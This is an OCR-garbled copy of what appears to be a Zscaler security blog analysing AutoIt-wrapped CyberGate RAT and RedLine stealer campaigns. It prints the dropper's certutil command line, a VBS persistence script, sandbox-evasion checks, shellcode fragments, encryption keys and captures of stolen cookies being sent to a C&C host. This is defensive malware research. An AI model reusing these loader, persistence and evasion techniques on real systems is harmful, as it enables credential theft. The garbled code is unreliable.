CyberGate RAT and RedLine Stealer Delivered in
Ongoing Autolt Malware Campaigns

zscaler.com/blogs/security-research/cybergate-rat-and-redline-stealer-delivered-ongoing-autoit-malware-campaigns

In our most recent blog, we had detailed a malware campaign that uses a malicious
document (DOC) file to deliver an Autolt script which, in turn, delivers the Taurus stealer to
steal credentials, cookies, history, system info, and more. Along similar lines, we recently
came across a new malware campaign that uses a similar Autolt script to deliver a new
variant of the CyberGate RAT and RedLine stealer.

This blog will walk you through a detailed analysis of the payload delivery mechanism,
capabilities, and Command and Control (C&C) communication. We also observed the
usage of custom C&C protocols to exfiltrate sensitive information. We will shed light on the
custom protocol used by the Cybergate RAT.

Below is the detection timeline for Autolt malware campaigns in the past month. We
observed several hits for the Autolt malware involving various malware families, including
AZOrult, Xtreme RAT, Taurus stealer, RedLine Stealer, and CyberGate RAT. The Zscaler
ThreatLabZ team is closely monitoring the developments on these campaigns to ensure
coverage.
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Figure 1: Hits of Autolt-based malware in the past month.

Zscaler Cloud Sandbox captured the CyberGate RAT and RedLine stealer successfully. We
observed that both of them are packed with the same packer and use the same payload
delivery mechanism. The tactics, techniques, and procedures (TTPs) observed in these two
campaigns are similar in nature, so we suspect that the same actors are behind these
attacks.

Payload delivery mechanism

As observed in a previous blog, the source of the stealer was spam mail containing a link to
download the malware or an attached DOC file that downloads the malware. While tracking
this campaign, we found that this malware is served by phishing sites. At the time of our
analysis, we found a live phishing site of a cryptocurrency blockchain exchange called
Resistance, which is serving the RedLine stealer.
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Figure 2: A crypto blockchain exchange phishing site.
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Wrapper analysis

The files downloaded from these phishing sites are self-extracting archives (SFX), which
contain a cabinet file and a script to execute embedded files. The cabinet file can be found
under the RCData resource directory with the name ‘CABINET’ and command for execution
in the resource directory of the name ‘RUNPROGRAM'.
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Figure 3: The resource directory of the wrapper file.

The cabinet file contains three files with a ‘com’ extension and the file names are random
and different in other Autolt scripts. Those files are:

ffXi.com - This is a legit Autoit3.exe having an invalid header used to run Autolt scripts
adCt.com - A Windows Base64 encoded Autolt script by certutil
bzYfp.com - The encrypted payload

The command-line script present in the ‘RUNPROGRAM’ resource directory to execute
embedded files is shown below:

cmd /c <nul set /p ="M" > Isass.com & type ffXi.com >> [sass.com & del ffXi.com & certutil -
decode adCt.com R & Isass.com R & ping 127.0.0.1 -n 20

First, it corrects the header of ‘ffXi.com’ (Autoit3.exe) by appending “M”, stores it in
‘Isass.com’, then it deletes ‘ffXi.com’. After that, it decodes the Base64 encoded Autolt
script using ‘certutil’ with the parameter “-decode”, saves it to a file “R”, and then runs this
Autolt script with Autoit3.exe (Isass.com). In the end, it uses the ping command as a sleep
timer.
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The Autolt script uses custom obfuscation and all the hardcoded strings are encrypted in
the malware, as we have seen previously in this campaign. Upon execution, the Autolt
script drops and hides the following four files in the directory “%APPDATA%\\cghost” for
achieving persistency on the system. We found this persistency technique in the Autolt
script only if the final payload is RAT.

cghost.com - Copy of Autolt interpreter

aGuDP - Copy of Autoit script

bzYfp.com - Copy of encrypted payload

dLzSj.vbs - VBS script to execute Autolt interpreter with the script

The VBS file contains:

CGXdBksrYqQnDlwn =
GetObject("winmgmts:\\.\root\cimv2:Win32_Process").Create("%appdata%\cghost\cghost.com
Y%appdata%\cghost\aGuDP" , "%appdata%\cghost”, Null, OJXMEKRRELvrj )

For persistence, it creates an internet shortcut file ‘cghost.url’ in the startup directory with
the following contents:

[InternetShortcut]
URL="%APPDATA%\cghost\dLzSj.vbs"

The Autolt script has multiple sandbox evasion tricks to avoid detection. It also checks to
see if a file and computer name exists in the system and checks for a particular domain.

-cxt") Or @ComputerName = "N PfH" Or @ComputerName = "cz" Or @ComputerName = "E " Or EComputerMame = "MAIN" Or
") Then Exit

OX leep AFI patch :Z’.f_-:kl
= DliCall{Tcecneloz.all”, "long"”, "CGetTickCount™)

)
= D11Call ("kernel3Z.d "

¥FbzFL ==

nt")

yo= and (SpOYFbzFVnIB- )<= ) Then Exit

e
Hext
If Not (&

I‘ Check if host is _::'.;z'c'_el

If (Ping("OJtmGmgl. tmGmgl™, ) €£> 7) Then Exit

) Then Exit

Figure 4: The malware performs multiple checks before execution.

This malware wrapper avoids its execution in the Windows defender antivirus simulator by
checking for the presence of the “C:\aaa_TouchMeNot.txt” file in the system. The malware
terminates execution if it finds the following computer names, which are used by AV
emulators:

“‘NfZtFbPfH” - Kaspersky
“tz” - Bitdefender
“ELICZ” - AVG
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“MAIN" - VBA
“‘DESKTOP-QO5QU33” - Assuming this is the attacker’s machine name

It checks for the sleep API patch with 'GetTickCount' to detect the sandbox emulation. It
also checks for the domain ‘OJtmGmql.OJtmGmql’, it will exit if the domain is alive. These
are random strings and found to be different in every other wrapper. If it passes all the
above checks then it injects the shellcode for the 'RC4' algorithm based on the system
architecture into the specified running process or the current process memory.

Func PtcPCEGKVZkkmnUVICEVEERTiAC (SMALJi, $00wilj)
If EAntoIltXed Then
: Local $Dplgn = 'O0x85C0554889C84889D54989CA4531C5756534883EC08CT0100000000C741040000000045884A084
Else
: Local $Dplgn = '0x88C05531C057565383EC088BAC241CEBTC2420C70100000000C741040000000088440108583C0013
EndIf

Figure 5: The RC4 algorithm shellcode.

The RC4 key is XOR-encrypted in the Autolt script which can be found in a function calling
along with the encrypted data and process path for injection.

SHGsmkYDkssS = 0iwGOyTYvd (PtcPCEGXVZkImnUVZCRVEKhTiAC (Binary { SkS5Pavzsi) 'I Binary (vAVESVPdBix ("588§56860854861853",5)) }l
SqREfmXIVhKFLPaM, SeMe=gqxGljnPIGEunjPath)

ExitLoop

Ca=ze 127

Figure 6: The encrypted RC4 key.

This RC4 key is found to be different in every case. The Autolt script reads the encrypted
payload (bzYfp.com) and decrypts it using the RC4 shellcode with the hardcoded key
“637180” (in this case).
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uh = B;
=( DWORD =)al = @;
*( DWORD =){a1 + 4) = @;
do
1
*{ BYTE =){al + ui4 + B)
++uu;
S
while { vl *= Bx188 );
result = al;
LOBYTE{vG) = BA;

ulh;

vy = @;
do
{
if ( a3 <= v? )
1
vl = 1;
uy = B8;
H
else
{
Ui = Ud++;
¥
vl ={ BYTE =){result + 8};

ub {unsigned int8){u8 + ={ BYTE =){a2 + u7) + ub);
%{ BYTE *)(result++ + 8) = ={ BYTE =)(a1 + u6 + 8);
*=( BYTE =)({al + v + B} = ui;

H

while { result f*= al + B8x188 );

Figure 7: The RC4 algorithm in the first shellcode.

After that, it injects another shellcode in the memory, which creates a mutex first with the
name of JFTZRATSJPATTZLFCUTTH’, then it takes the decrypted PE file, injects it into the
process, and executes it.

The final payload is decrypted and executed in the memory only so it will not get captured
by the antivirus if it has static detection.

We have written a python script to decrypt the encrypted payload, which can be found in
Appendix I.

The payloads dropped by this wrapper are CyberGate RAT or RedLine stealer.
CyberGate RAT

The CyberGate RAT from this campaign looks like a new variant that we have not seen in
the past. CyberGate allows an attacker to browse and manipulate files, devices, and
settings on the victim's machine as well as download and execute additional malware. It
also has a wide range of information stealing abilities, such as keyloggers, screen capture,
and remote enabling of webcams.

The capabilities of the CyberGate RAT that we found in this variant include:
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e Collecting the system info

o Creating a specified directory

e Downloading and executes additional files
o Getting the content of a specified file

o Stealing the browser’s credentials

o Capturing the screen
¢ Running a keylogger

The C&C address and port information are encrypted and hardcoded in the binary.
Encryption is simple XOR with the hardcoded key “2qgYNYM2Z74XL".

B84452CE EnX ProcNameOrOrdinal = "'
84452 CC 6C53448@ decrypte .BA44536C [FileName = "kernel32._d411"
#@4452D1 C213FCFF {JHMF_&kernel32 _LoadLibraryf> LoadLibraryf

84452 D6 EAX hModule = BA12FF38
#04452D7 3C13FCFF <JMP.&kernel32 . GetProcAddress> GetProcAddress

B84452DC Ca450488 44508

A84452E1 EAX Sleep

B84452E3 LEA ECX.[LOCAL.21]

8445 2E6 MOV EDX.decrypte.dB445384 ASCIT "2gYNYM2Z74XL"
BA4452ER MOU EAX.decrypte.dB44539C ASCII “O146777cbc?f1chf17B6627F"
HE4452F@ CALL decrypte . B844368C Z0R decryption

8@4452F5 |
9445 2F8

MOU EDX. [LOGAL.21

MOU_EAX.DWORD PTR DS:[44AE441
252.5.213"
'B146777c6c7E1c6E19B6697F"

Figure 8: The XOR decryption of the encrypted IP address.

The unique bot ID is created by adding the username, computer name, and the serial

number of the victim machine and calculating the MD5 hash.

Bot ID = MD5(UserName+ComputerName+SerialNumber)

BE43DA51 . h4:-8928 MOU DWORD PTR FS:LEAX1.ESP

BB43DA% 4 . BD4% EA LEA EARX . [LOCAL.81

AB43Da57 . E8 EBFEFFFF CALL decrypte.Bd@343CF44 username
B842DASC . FFY% EA PUSH [LOCAL.81

B043DASF . BD4L% DC LEA EAR.[LOCAL.?1

A843D862 . E8 ASFEFFFF CALL decrypte.B8@343CFHUC computername
AR43DA6Y . FF/ DG PUSH [LOCAL.91

B843DB6A . BD4aL DB LEA EAX.[LOCAL.181

AA43DB6D . E8 BAFFFFFF CALL decrypte.B@43CF7C zerial_number
B843DA72 . FFY/5 D8 PFUSH [LOCAL.181

AA43DA?5 . BD4% E4 LEA EARX . [LOCAL.71

B043DA78 . BA A20080QARA MOU EDH .2

B842DA7D . E8 AGY3IFCFF CALL decrypte.B@484428 Joining
B043DAE2 . BB55 E4 MOU EDH . [LOCAL.7]

B843DAE5 . 8DhaL E8 LEA EARX . [LOCAL.61

B043DAER . E8& FBY?FCFF CALL decrypte.B0484888

B043DAED . BBaL EB MOU EAX . [LOCAL.61

AR43DA%A . BD5L EC LEA EDHX.[LOCAL.51

B843DA73 . E8 B4F5FFFF CALL decrypte.B@43C592C

AA43DAYE . BD4L EC LEA EAX.[LOCAL.51

B843DA?B . BD55 FC LEA EDH.[LOCAL.11

AA43DAE . E8 aDFSFFFF CALL decrypte.Ad43C618 calculate MDS
BE432DBA3 . BB55 FC MOU EDH . [LOCAL.11

BB43DBAG . 8BC3 MOU EAX . EBX

YAFF18 1-HA2F5D84 .

CUNICODE "4cB5c93523844F20134cdf1fd7Pde?af?")

Figure 9: Bot ID creation.

Network traffic analysis
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This variant of CyberGate RAT has a hardcoded and encrypted C&C IP address and it uses
a 3970 port to communicate on the TCP protocol. The complete traffic is compressed with
zlib compression and encrypted with RC4 with the hardcoded key present in the binary.

TCP
TCP

2.5.2
192.168.1.150

9@ 43.489844 37,252.5.213 57 3978 -+ 49688 [PSH, ACK] Seg=1 Ack=1 Win=131328 Len=3

‘ Wireshark » Follow TCP Stream (tcp.stream eq 8) - 433DD4DCE13E86688A3AF13686CE4DNC

oeeBEeRR 20 ed 8a A
06000000 od 9a Zx
ooooeces 53 3d[23 23 24 25 25)ed _eal12 86 65 ce 15 57 c3| 3omESHE. ...e..l. Data Length
20080013 [d6 b9 5F e2 d6 64 82 28 fa a6 T4 9a T9 9f 58 2a] .._..d.( «vuvun pe Marker
06000023 |be 67 da 6c 91 b8 c9 e2 eb d6 @b 59 6@ ea 9e 18] .g.l.... ...¥ ... e
opoaoRe2 od oa = Delimiter
96080604 Od Ba 38 37 23 23 24 23 23 6d Ga 12 B6 65 ce 5  ..BVHEGE #....e..
90080814 57 c9 d6 ba 5T e2 d6 64 @2 28 fa a6 T4 9a 9 9F  MW..._..d o(eeen.. EncryptEd data
96000824 50 2a be 67 da 6c 91 b8 9 e2 eb d6 c3 93 59 #a P*.g.l.. ......Y
90600034 11 T8 36 b3 17 ff 86 86 fd 2f 84 43 9c 5e 4d 87 ..@..... ./.C."M
90000044 7d a5 @8 7f 28 5 b b6 28 44 3 aa d5 25 93 98  }...(_.. (D...%
90000054 b7 85 bd b 32 b9 ed 9F Ga 91 82 87 85 2f 89 3d  ....2... J..../.=
90800064 92 15
290080833 31 33 34 23 23 24 23 23 ed @a 1344#558
Frame 14 | poe@eacs Bd @a o
Etherned @pBBEe3D 12 86 65 ce f5 57 c9 d6 b9 S5f e2 d6 64 @2 28 fa e e i
Interned 90080840 88 T8 e3 b8 57 97 d6 73 c2 a8 86 17 5d 8b d2 52 ....W..s ....]..R
Transmi 20000050 82 88 68 52 be a3 Se 92 d5 8@ 7a 67 73 a8 b4 9b CRlAL Cozpe s
Data (14 00880060 fc 2b 17 d2 cd b9 d® 91 b@ @c 5d 89 6b 31 48 6c  .+...... ..].kIHL
96080870 bb c7 c5 eb 13 3a 68 5d 32 53 93 68 48 ed 73 33 "] 25.hH.s3
20080880 d8 33 87 5d ec 8d 62 27 38 25 81 7f d2 @9 56 8d 3.7..b" @%....V.
26088690 e7 1d c3 ab c3 7a 6b 2a T8 ed df 48 @3 81 41 cc  ..... et L SHE L
©900000AD 51 d4 6b bd c2 45 4e 6d f7 8f ef 13 ¢9 22 ec 41  Q.k..ENm ..... "A
98080BBD 28 92 16 @a c9 1f e
90080068 od @a 25
90800064 31 33 38 23 23 24 23 23 @d @a 12 86 65 ce f5 57  13s#u%HE ....e..W
< g;; 0e8ABa7A <9 d6 bd 5f e2 d6 64 @2 28 fa a6 4 9a T3 9F 58 ... ..d. (...... p
LaaannaRs Pa he A7 dAa Ar O1 k8 FO a2 sh AR Th 2r 27 Rh =0 il LELE

Figure 10: CyberGate network traffic.
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Client and server packets are encrypted or decrypted by RC4 with the same hardcoded key
“‘draZwyK8wNHF”, which is present in the binary. After the decryption of server packets, the
data starts with the marker of 14 bytes “@@)][email protected]@” and followed by the zlib
compressed data. We have seen this marker in the previous version of Cybergate RAT.

PEEAGERB| 49 4@ 58 58 SE 58 58 58 53 53 53 58 48 4e-|?3 a1 |@@xxxxxxxxxx@@|x
oepeaede | |10 3d 41 ee 42 21 @c 44 f7 26 Y= @2 d7 S5d fe @b .O0A.B! .D+&. .x=1Fp
eeepen2e | | 7c 8d 57 d@ Sd 69 3@ 34 48 4b 84 13 Fd 3 el @S |Dgp1iBd48K..FES
gepeee3e | |76 93 f7 26 33 b7 fd 2a f7 6d db If ed 49 ce 5d v.+ &3 -gremd.i11]
gep@easd | [9c ab f8 ab 98 81 b4 18 15 3c 54 c@ To 56 4a 14 ODwa 0. " w.<TA| W]
pepeaese | |91 67 56 41 al @@ 96 de 98 2 B2 bd 75 2c 75 aa Ogfa; .0pPOAR . %Xu, us
geepeeee | | fe 62 89 SF b@ FE 51 of 6@ a4 2c le db 23 BF @1 bb._®a0Qi - m, .0(0.
@epaae7e | |cc c3 4F d2 86 B8 Bb 9 4F eb F1 @F 4a 58 2f a7 iAod.oo.o08d.1P/§

Figure 12: The decrypted packet data.
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After decompression, the data starts with the command followed by the parameters and
separated by the marker “##$##”.

Structure: <Command>##$#t<Parameters>tiSt#

Server Client

dhybWKLmEShM# 5% | ShybWKLmEShMER SR hPIXBnnbm 2L 5B 0T _IDH G }

{ - ™
ECDnGRECY sZ ci# S amazon|

paypal |blockchain| binance t[
kraken| bitstamp |bitfinex| huobi dh}r.tl'.f';-’KLmEShM##E#ECDnGEECYSEE#S##Cf&dEﬂﬂEHS#S#&%
coinbase| localbitcoins| vgs
stripes#3#%
e b

Figure 13: The decrypted communication between the client and the C&C server.

In the first request, the command will send the calculated unique bot ID to the server.
The second command will search for the stored credentials in the Chrome and Firefox
browser profiles. If it matches the parameters, then it sends the credentials to the server
along with the machine info, including socket name, user name, computer name, product

name, and bot ID.

sub_4@44B4{u79, (int)"ECDNGA6CYSZC™);

if ( vé )

{
v1B = sub_4BuASA{{int)dword WUACAS, uBL);
sub_4BuABB((int)B&usy, 1, vil - 1 + 5);
u11 = sub_4Bu6SA({int)dword MUACAS, uBL);
sub_4B4SCB(usy, 1, vil - 1, (int)&us3);
u12 = sub_4Bu65B({int)dword 444Ch8, ulh);
sub_4e4608((int)&uss, 1, viZ - 1 + 5);
if { sub_ueus5e((int)dword 444CER, ui3) <= B )

sub_4B4BA8({int)AUE3);

H

else

{
sub_443AAB{vE3, {int)&u¥8, a3, a4, a5); 7/ Get browser's credentials
sub_4B4148((volatile signed  int32 =)&v83, v78);

H

U57 = "RhybWELMEShHEHSHHRECDNGAGCYsZc HHS#HI" ;

sub_ 4B6DAB(=0fF BUAEGY, (int)&u7G6); /7 Get sockname

s = u7h;

u55 = {unsigned int)dword_444C48 ;

sub_ 43A258((int)&u75); /7 Get username

sub_43A228{{int)&u7L); /7 Get computername

sub_43BABY{{int)&u7I, vi13); /7 Get productname

sub_ 4B84h28{uis, 13, dword M4N4CHE, uB3, dword MULCHEB, ={ DWUORD =)off MHMAESC);
sub_443CAC{uE5, uv/7, ad); /7 Compressed, Encrypt and send to server

Figure 14: The credentials and machine info that is sent to the server.
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The command “Ky8pr22KrbW3” or “hneAWMITC4tsk” creates the specified directory in the

%appdata%. It then downloads and stores the specified file inside and executes it.

sub 431BFC{{int)"APPDATA", (int)&u25}); /f Aappdata directory
if { (_BYTE)u2 )
sub_ 4831408({volatile signed  int32 =)&u2h4, {signed  int32)dword 43E¥38);
else
sub_ 484148((volatile signed  int3d2 =)&u24, {signed  int32)dword 43E¥28);
sub_ 4843BA{{int)&v21, w25, uZh);
if { *sub 431F2C{v21}) )
{
sub_4B843B4{ (int)&u26, uv25, u2h);
sub_431F58{v20, v2}); /f Create Directory
i
ud = sub 4B84658({int)dword 43EF4A, v2A);
sub_ 4845C8(v26, 1, v3d - 1, {(int)&u22);
vl = sub_ 484658({int)dword 43E74B, v26);
sub 484688 {int)&v26, 1, vh);
sub_ 4848148 {volatile signed  int32 =)&u23, v26);
sub_484428{u5, 4, v23, &dword 43EFUC, uZh, u25);

uf = (int)sub_4B4568(v19);

u? = (int)sub_ 4B456B{u22);

if ( tsub_A431D48(@, v7, vh, @, vil) ) /7 Download URL to a file
{

if { ( BYTE)uZ2 == 1 && =off_44B114 )
{
ull = =off L44B114;
CloseHandle{vi1);
¥
ull1 = B;
sub_4Bhn28{ve, b, v2i, &dword HB3IEFHC, v2h, uv25);
ud = {int)sub 4B456B{u18);
sub_431EDA{®, (int)"Open", v?, 1, B, vi1); // Execute file
if { ( BYTE)v2 == 1}
1

Figure 15: The command to download and execute additional malware.

We have found the following commands in this variant of the CyberGate RAT.

Commands Descriptions

4hybWKLmMEShM  Send the unique bot ID to the server

ECDNnG66CYsZc Steal the browser’s credentials and machine info

dYh3GKy2DK Store data to the registry

Ky8pr22KrbW3 Download and execute additional malware

neAWMOTC4tsk Download and execute additional malware and exit itself

EffNaMNRW43T  Capture the screen

5Qvape9Wv6eA  Start the keylogger
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We have written a python script to decrypt the CyberGate RAT and C&C traffic. It can be
found in Appendix Il.

RedLine stealer

The final payload is the .NET binary file of RedLine stealer. This stealer is available for sale
on Russian forums and was seen before in a COVID-themed email campaign. Proofpoint
published a blog about that campaign.

The capabilities of this stealer include:

e Collecting information about the victim’s system

o Collecting credentials, cookies, credit cards from Chromium- and Gecko-based
browsers

o Collecting data from FTP clients (FileZilla, WinSCP)

e Collecting data from IM clients (Pidgin)

e Collecting cryptocurrency wallets

» Downloading and executing the specified file

text
buildId

te(settings);

buildId;

Figure 16: The RedLine stealer classes and C&C domain.

The RedLine stealer uses SOAP over HTTP protocol for its C&C communication.
After getting connected with the C&C server, RedLine fetches the client configuration
settings from the server.

11/18


https://www.proofpoint.com/us/threat-insight/post/new-redline-stealer-distributed-using-coronavirus-themed-email-campaign

‘ Wireshark - Follow TCP Stream (tcp.stream eq 0) - redline_traffic — O X

POST /IRemotePanel HTTPHI.lI

Contpnt_Tunpe tewi /] charsst=pif =
S0APAction: “http://tempuri.org/IRemotePanel/GetSettings™
Host: yellowbag.top
ontent-Len ;
Expect: 188-continue
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

HTTP/1.1 188 Continue

<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><GetSettings xmlns="http://tempuri.org/"/></s:Body></
s:Envelope>HTTP/1.1 288 OK

Content-Length: 911

Content-Type: text/xml; charset=utf-8
Server: Microsoft-HTTPAPI/2.@

Date: Wed, 24 Jun 2628 #9:46:31 GMT
Connection: close

<s:Envelope wmlns:s="http://schemas.xmlsoap.org/scap/envelope/"»<s:Body><GetSettingsResponse xmlns="http://
tempuri.org/"><GetSettingsResult xmlns:a="v1/Models” mlns:i="http:/ /www.w3.org/2601/XMLSchema-
instance®s<a:BlacklistedCountry xmlns:b="http://schemas.microsoft.com/2883/18/5erialization/Arrays"/»<a:BlacklistedIP
xmlns:b="http://schemas.microsoft.com/2083/18/5erialization/Arrays"/><a:GrabBrowsers>true</a:GrabBrowsers»<a: GrabFTP>true</
a:GrabFTP><a:GrabFiles>false</a:GrabFiles><a:GrabImClients>true</a:GrabImClients><a:GrabPaths xmlns:b="http://
schemas.microsoft.com/2083/18/5erialization/Arrays”><b:string>¥USERPROFILEX\AppData\Roaming\ark-desktop-wallet|*.*|1</
b:string><b:string>¥USERPROFILE¥\AppData‘\Reaming | *userWallet*. json*,*.keys|1</b:string></a:GrabPaths><a:GrabUserAgent>falses/
a:GrabUserAgent>»<a:GrabWallets>true</a:GrabWallets></GetSettingsResult></GetSettingsResponse></s:Body></s:Envelope>

Figure 17: Fetching the client configuration settings.

This client configuration settings include GrabBrowsers, GrabFTP, GrabFiles,
GrablmClients, GrabPaths, GrabUserAgent, and GrabWallets.

- =s:Envelope xmins:s="http://schemas.xmlsoap.org/soap/envelope/">
- <s:Body=
- <GetSettingsResponse xmins="http:/ ftempuri.org/">
- «<GetSettingsResult xmins:a="v1l/Models" xmins:i="http://www.w3.0org/2001/XMLSchema-instance">
<a:BlacklistedCountry xmins:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays" />
<a:BlacklistedIP xmins:b="http:/ fschemas.microsoft.com/2003/10/Serialization/Arrays" />
<a:GrabBrowsers =true </a:GrabBrowsers=
<a:GrabFTP=>true</a:GrabFTP =
<a:GrabFiles=false</a:GrabFiles =
<a:GrabImClients=true</a:GrabImClients
- <3:GrabPaths xmins:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays">
<b:string>%USERPROFILEY \ AppData\Roaming\ark-desktop-wallet| *.* | 1</b:string>
<b:string>% USERPROFILE% \ AppData\Roaming | *userWallet*.json*, *_ keys|1</b:string=
</a:GrabPaths=
<a:GrabUserfgent=false</3:GrabUserAgent>
<a:Grabwallets =true</a: GrabWallets
</GetSettingsResult>
</GetSettingsResponse=>
</5:Body =
</s:Envelope=

Figure 18: The RedLine client configuration settings.
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After collecting the data as per the configuration, it sends all the data back to the server.
‘ Wireshark - Follow TCP Stream (tcp.stream eq 8) - redline_traffic = O

P

5
H

QST /IRemotePanel HTTP/1.1

= : aiiarset-utf-
0APAction: “http://tempuri.org/IRemotePanel/SendClientInfo™
jost: yelloﬁpag.top

&
E

ontent-Length: 387218
xpect: 188-continue

Accept-Encoding: gzip, deflate

HTTP/1.1 188 Continue

<

i

IS T« VAN« T Y« A TR T TR T SO T« A TR« ]

s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" »<s:Body><SendClientInfo xmlns="http://tempuri.org/"><user

umlns:a="vl/Models" wmlns:i="http://www.w3.0rg/2081/XMLSchema-

nstance”>»<a:AdminPromptType>DimmedPromptForNonWindowsBinaries</a:AdminPromptType><a:BuildID/ »<a:Country>IN</
:Country><a:Credentials»<a:Browsers»<a:Browser><a:Autofills/><a:Cookies><a:Cookier<a:Expires>1984814279</
rExpiresr<a:Hostrgo.flippintoacure.org</a:Host><a:Http>false</a:Httpr<a:Namervisitor_idB69661</a:Name><a:Path:/</
tPath><a:Securertrue</atSecure»<a:Value>280923411</a:Valuer</a:Cookie»<a:Cookiex<a:Expires>1984814279</
:Expires><a:Host>go.flippintoacure.org</a:Host><a:Http>false</a:Http><a:Name>visitor id869661-hash</a:Name><a:Path>/</
:Paths<a:Securestrue</

tSecurer<a:ValuerB65e999c43927cf7947e1fedcas425d14ab6bbecc353a51b2d9bc 28cebe8adh5h385fdBed4798dedac52dT506d5F1322b3a%choddas
a:Valuer</a:Cookier<a:Cookie»<a:Expires>1623151338</a:Expires><atHostr.studizz.fr</a:Host><a:Httprtrues/
:Http><a:Name>stdvid</a:Name><a:Path>/</a:Path><a:Securertrue</a:Secure><a:Value>5ebd29ecdBad8c3d7716Tdd2</a: Value></
:Cookiex<a:Cookier<a:Expires>1621866596</a: Expiresr<a:Host>centerofbiopolitics. com</a:Host»<a:Http>falsed/
tHttpr<a:Namerqtrans_front_language</a:Namer<a:Path>/</a:Path:<a:Securerfalsed/arSecurex<a:Valuerend/a:Valuex</
:Cookier<a:Cookier<a:Expires»1589617815</a: Expires><a:Host>. genial.ly</a:Host><a:Http>trued/aHttp><a:Name>_uetsid</
:Name><a:Path>/</a:Path><a:Securer>false</a:Secure><a:Value>58273cBf-792c-3cd9-f9e4-768dB87Tab4%a<//a: Value»</
:Cookier<a:Cookier<a:Expires»1623745816</a: Expiresr<a:Hostrview.genial.ly</a:Host><a:Http>Talse</atHttpr<a:Name>_ atuvce/
:Name><a:Path>/</a:Path><a:Secure>false</a:Secures<a:Value>287C28</a:Valuer</a: Cookler»<a: Cooklie><a: Expires>1589532416</
:Expires><a:Host>view.genial.ly</a:Host><a:Http>false</a:Http><a:Name>_ atuvs</a:Name><a:Path>/</a:Path><a:Secure>false</
:Securex<a:ValuerSebedffB4acaldabdll/a:Valuer</a:Cookier<a:Cookiex<a:Expires>1652682623</a:Expiress<a:Hosts. genial. Iy</
tHost»<a:Httprtrued/a:Httpr<a:Name>_ga</a:Namer<a:Path:/</a:Path><a:Securexfalsed/
tSecurex<a:Valuer»@Al.2.511294811.1589525846</a:Valuer</a: Cookiex><a: Cookie><a:Expires>1589617823</
:Expires><a:Host>.genial.ly</a:Host><a:Http>true</a:Http><a:Name>_gid</a:Name><a:Path>/</a:Path><a:Secure>false</
:Securer<a:Value>GAl.2.584786455.1589525846< /a:Valuer</a: Cookier><a: Cookier<a:Expires>1589538683</
rExpiresr<a:Hostr.genial.ly</a:Hostx<a:Httprtrued/a:Httpr<a:Name>_pgat UA-1411888088-1</a:Name><a:Path>/</
:Path><a:Secure>false</a:Securer<a:Value»1l¢/a:Valuer</a:Cookie><a:Cookie><a: Expires>1589530683</
:Expires><a:Host>.genial.ly</a:Host><a:Http>true</a:Http><a:Name>_gat</a:Name><a:Path>/</a:Path><a:Secure>false</
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Figure 19: Sending the stolen data to server.

After that, it sends the request to the server to get the task to download a file, execute a file,

access a link, or inject a file to a process along with the victim’s machine info, such as IP,
location, OS, and more.
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‘ Wireshark - Follow TCP Stream (tcp.stream eq 9) - redline_traffic

POST /IRemotePanel H'I'I'P,.-"l,II
Content-Type: text/aml: charset=utf-8

Host: xellowbag.top

SOAPAction: “http://tempuri.org/IRemotePanel/GetTasks™

Content-Length: 219322
Expect: 188-continue
Accept-Encoding: gzip, deflate

HTTP/1.1 188 Continue

tFingerPrint><a:HWID
:IsProcessElevated><a:Location:

{TRE T T T« T )

Figure 20: Sending the request to the server to get a task.

Coverage

</aiHWID><a:IP>
</a:Location><a:LogDatex

:MonitorSize><a:0S>Windows 7 Ultimate x32</a:05><a:PostalCode> </
tPostalCoder<a:Screenshot> iVBORWBKGEOALAANSUREUEAABVY AAAMACAYARADPP ] ZCAAAAAKNSRATAr s 4C60AAAARNDULBAACK JwyBYQUARAAT CERZ cwA
ADsMAAATDACdvqGQAAP+1SUREVHhe7PRIVCVHe d+NHIS dwTkk/
+5vT97Eee@4iRNbTMLr N9 jONCZBxIBxjGwikecEGZMUJPMY2CTvNAGEZLAetgBZGC4xAAJHO JriBSATLCTHNtqtIRrsB2kYaacSEQYhNELTbTIVXd1Vibd2Znu@sy
P/FpSp7T3WP feqpTqiveerpyR/98RExbNAAP JATH/ N3 /xNhgBawAf g A/ AB+ABBADAAHAAPWAT gA/AB+EBZH/ §5n//959rM/+7Ng0uBaBIES+sBk
+cZ76TZoABY0lwfohvmy172MKXjhheyRRxSh+ABKQAECAAWEABSAALAACKABKAAFOEAZBZS/ /nl27xPTID/ 38 ext v/

ZXYDvEWfEAOP LATrGe+ ZRs 76 TovsYoe+zH2713viK e/ B3 hweDzC@XRhal94EVT / 96U+ zHT £ 25EPPuwUbNIAPWATGA/ AB+ABBAD4AHAAPWAT gA/S
CByj5w257vs6U7HERcHRGXUe jqO9hnvnA++9inTmOto/ qgoXs 1GYINgUpP m+5jsduvi25nV9x9Gzvilingyt/jFIWIFE3+6+X/iR72/
WyiydjtidacFa8vaKpfilGkiKkHVk867FRsBgA/ AB+ADBAHAAHWAPEATEA/ AB+ADBIGZ FeDyb32X/ fyfvBFspgTi6NLOFLACIIFVI3Ebr338dY2qo/

¢s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><GetTasks xmlns="http://tempuri.org/"><user
umlns:a="vl/Models" xmlns:i="http://www.w3.org/288L/XMLSchema-
instance”><a:AdminPromptType>DimmedPromptForNonWindowsBinaries</a:AdminPromptType><a:BuildID/ »><a:Country>IN</
a:Countrys<a:Credentials»<a:Browsers/><a:ColdWallets/><a:Defenders xmlns:b="http://schemas.microsoft.com/2883/18/
serialization/Arrays™/><a:Files i:nil="true"/:<a:Ftplonnections/><a:Hardwares/><a:InstalledBrowsers/><a:InstalledSoftwares
umlns:b="http://schemas.microsoft.com/28@83/18/5erialization/Arrays”/><a:Languages xmlns:b="http://schemas.microsoft.com/
2083/16/Serialization/Arrays”/><a:Processes xmlns:b="http://schemas.microsoft.com/2883/16/Serialization/Arrays"”/></
a:Credentials»<a:Currentlanguage>English (United States)</a:Currentlanguage><a:Exceptions xmlns:b="http://
schemas.microsoft.com/2083/18/Serialization/Arrays”/»<a:FingerPrint><a:Plugins>UNKNOWN</a:Plugins><a:Userdgent >UNKNOWN < /
a:Userfgent><a:WebBasealRenderer>UNKNOWNS /a: WebBaseGlRenderers><a: WebBasealVendor > UNKNOWN < /
:kebBaseGlVendor><a:WebBaseGlVersion>UNKNOWN</a :WebBaseGlVersion><a: WebDebugGlRenderer>UNKNOWNL /
